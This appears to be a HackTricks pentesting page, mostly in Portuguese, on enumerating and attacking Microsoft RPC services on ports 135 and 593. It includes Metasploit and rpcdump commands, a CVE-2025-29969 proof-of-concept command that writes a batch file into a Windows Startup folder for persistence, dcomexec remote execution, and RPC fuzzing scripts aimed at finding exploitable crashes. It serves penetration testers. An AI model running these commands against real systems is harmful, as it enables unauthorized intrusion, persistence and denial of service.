135, 593 - Pentesting MSRPC

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

O protocolo Microsoft Remote Procedure Call (MSRPC), um modelo cliente-servidor que permite a um programa solicitar um serviço de um programa localizado em outro computador sem precisar entender os detalhes da rede, foi inicialmente derivado de software open-source e posteriormente desenvolvido e protegido por direitos autorais pela Microsoft.

O mapeador de endpoints RPC pode ser acessado via portas TCP e UDP 135, SMB em TCP 139 e 445 (com uma sessão nula ou autenticada), e como um serviço web na porta TCP 593.

135/tcp   open     msrpc         Microsoft Windows RPC

Como o MSRPC funciona?

Iniciado pela aplicação cliente, o processo MSRPC envolve chamar um procedimento stub local que então interage com a biblioteca de runtime do cliente para preparar e transmitir a requisição ao servidor. Isso inclui converter parâmetros para um formato padrão Network Data Representation. A escolha do protocolo de transporte é determinada pela biblioteca de runtime se o servidor for remoto, garantindo que o RPC seja entregue através da pilha de rede.

https://0xffsec.com/handbook/images/msrpc.png

Identificando Serviços RPC Expostos

A exposição de serviços RPC em TCP, UDP, HTTP e SMB pode ser determinada consultando o serviço localizador de RPC e os endpoints individuais. Ferramentas como rpcdump facilitam a identificação de serviços RPC únicos, denotados pelos valores IFID, revelando detalhes do serviço e as associações de comunicação:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

O acesso ao serviço RPC locator é habilitado através de protocolos específicos: ncacn_ip_tcp e ncadg_ip_udp para acesso via porta 135, ncacn_np para conexões SMB e ncacn_http para comunicação RPC baseada na web. Os comandos a seguir exemplificam a utilização de módulos do Metasploit para auditar e interagir com serviços MSRPC, com foco principalmente na porta 135:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.

Notable RPC interfaces

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Description: LSA interface, usada para enumerar usuários.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Description: LSA Directory Services (DS) interface, usada para enumerar domínios e relações de confiança.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Description: LSA SAMR interface, usada para acessar elementos públicos do banco de dados SAM (por exemplo, usernames) e brute-force de senhas de usuários independentemente da política de bloqueio de conta.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Description: Task scheduler, usada para executar comandos remotamente.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Description: Remote registry service, usada para acessar e modificar o registro do sistema.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Description: Service control manager and server services, usada para iniciar e parar serviços remotamente e executar comandos.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Description: Service control manager and server services, usada para iniciar e parar serviços remotamente e executar comandos.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Description: DCOM interface, usada para brute-force de senhas e coleta de informações via WM.

MS-EVEN (EventLog Remoting) primitives

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.

Padrão operacional (fluxo PoC): coloque um EVTX válido mais seu payload em um SMB share, então faça uma race na lógica do MS-EVEN para que o alvo busque o arquivo hospedado no SMB e o escreva no caminho escolhido.

impacket-smbserver -smb2support Share /tmp/safebreach

O PoC publicado usa um hard-coded SMB share name (Share), portanto, se você alterá-lo, também deve atualizar o script.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Uma cadeia comum é colocar algo na pasta Startup por usuário para persistência e execução no próximo logon (a execução ocorre no contexto desse usuário).

MS-EVEN CreateFile-style primitive para recon

MS-EVEN também expõe uma primitiva de file open/create (descrita no PoC como CreateFile) que pode ser usada por qualquer usuário autenticado para verificar se um arquivo ou diretório remoto existe. Isso é útil para descoberta de software ao checar caminhos de instalação comuns (por exemplo, C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identifying IP addresses

Using https://github.com/mubix/IOXIDResolver, comes from Airbus research is possible to abuse the ServerAlive2 method inside the IOXIDResolver interface.

This method has been used to get interface information as IPv6 address from the HTB box APT. See here for 0xdf APT writeup, it includes an alternative method using rpcmap.py from Impacket with stringbinding (see above).

Executing a RCE with valid credentials

It is possible to execute remote code on a machine, if the credentials of a valid user are available using dcomexec.py from impacket framework.

Remember to try with the different objects available

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

The rpcdump.exe from rpctools can interact with this port.

Automated Fuzzing of MSRPC Interfaces

MS-RPC interfaces expose a large and often undocumented attack surface. The open-source MS-RPC-Fuzzer PowerShell module builds on James Forshaw’s NtObjectManager to dynamically create RPC client stubs from the interface metadata that is already present in Windows binaries. Once a stub exists the module can bombard each procedure with mutated inputs and log the outcome, making reproducible, large-scale fuzzing of RPC endpoints possible without writing a single line of IDL.

1. Inventory the interfaces

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData irá extrair o UUID, a versão, as binding strings (named-pipe / TCP / HTTP) e os protótipos completos dos procedimentos de cada interface que encontrar e armazená-los em rpcServerData.json.

2. Execute o fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Opções relevantes:

  • -MinStrLen / -MaxStrLen – intervalo de tamanho para strings geradas
  • -MinIntSize / -MaxIntSize – intervalo de valores para inteiros mutados (útil para testes de overflow)
  • -Sorted – executa procedimentos em uma ordem que respeita dependências de parâmetros de modo que as saídas de uma chamada possam servir como entradas da próxima (aumenta dramaticamente os caminhos alcançáveis)

O fuzzer implementa 2 estratégias:

  1. Default fuzzer – valores primitivos aleatórios + instâncias padrão para tipos complexos
  2. Sorted fuzzer – ordenamento sensível a dependências (veja docs/Procedure dependency design.md)

Cada chamada é gravada de forma atômica em log.txt; após um crash a última linha informa imediatamente qual procedimento causou o problema. O resultado de cada chamada também é categorizado em três arquivos JSON:

  • allowed.json – a chamada foi bem-sucedida e retornou dados
  • denied.json – o servidor respondeu com Access Denied
  • error.json – qualquer outro erro / crash

3. Visualizar com Neo4j

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j converte os artefatos JSON em uma estrutura de grafo onde:

  • servidores RPC, interfaces e procedimentos são nós
  • Interações (ALLOWED, DENIED, ERROR) são relacionamentos

Consultas Cypher podem então ser usadas para rapidamente identificar procedimentos perigosos ou para reproduzir a cadeia exata de chamadas que precedeu uma falha.

⚠️ O fuzzer é destrutivo: espere crashes de serviço e até BSODs – sempre execute-o em um snapshot de VM isolada.

Automated Interface Enumeration & Dynamic Client Generation (NtObjectManager)

O guru do PowerShell James Forshaw expôs a maior parte dos internos do Windows RPC dentro do módulo NtObjectManager de código aberto. Usando-o você pode transformar qualquer DLL/EXE de servidor RPC em um stub de cliente totalmente funcional em segundos – sem IDL, MIDL ou unmarshalling manual requerido.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

A saída típica expõe tipos de parâmetro exatamente como aparecem em MIDL (por exemplo FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Uma vez que você conhece a interface, você pode gerar um cliente C# pronto para compilar:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Dentro do stub produzido você encontrará métodos como:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

O auxiliar PowerShell Get-RpcClient pode criar um objeto de cliente interativo para que você possa chamar o procedimento imediatamente:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Autenticação (Kerberos / NTLM) e níveis de criptografia (PacketIntegrity, PacketPrivacy, …) podem ser fornecidos diretamente via o cmdlet Connect-RpcClient – ideal para bypassing Security Descriptors que protegem named pipes de alto privilégio.

Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)

Conhecer interfaces estaticamente é útil, mas o que você realmente quer é coverage-guided fuzzing que entenda context handles e cadeias complexas de parâmetros. O projeto de código aberto MS-RPC-Fuzzer automatiza exatamente esse fluxo de trabalho:

  1. Enumerar todas as interfaces/procedimentos exportados pelo binário alvo (Get-RpcServer).
  2. Gerar clientes dinâmicos para cada interface (Format-RpcClient).
  3. Randomizar parâmetros de entrada (comprimento de wide strings, intervalos inteiros, enums) respeitando o NDR type original.
  4. Rastrear context handles retornados por uma chamada para alimentar automaticamente procedimentos subsequentes.
  5. Executar chamadas em alto volume contra o transporte escolhido (ALPC, TCP, HTTP ou named pipe).
  6. Registrar exit statuses / faults / timeouts e exportar um arquivo de importação Neo4j para visualizar interface → procedure → parameter e clusters de crash.

Exemplo de execução (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Uma única out-of-bounds write ou unexpected exception será exibida imediatamente com o opnum exato + fuzzed payload que a acionou – ponto de partida perfeito para um proof-of-concept exploit estável.

⚠️ Muitos serviços RPC executam em processos rodando como NT AUTHORITY\SYSTEM. Qualquer problema de memory-safety aqui geralmente se traduz em local privilege escalation ou (quando exposto over SMB/135) remote code execution.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks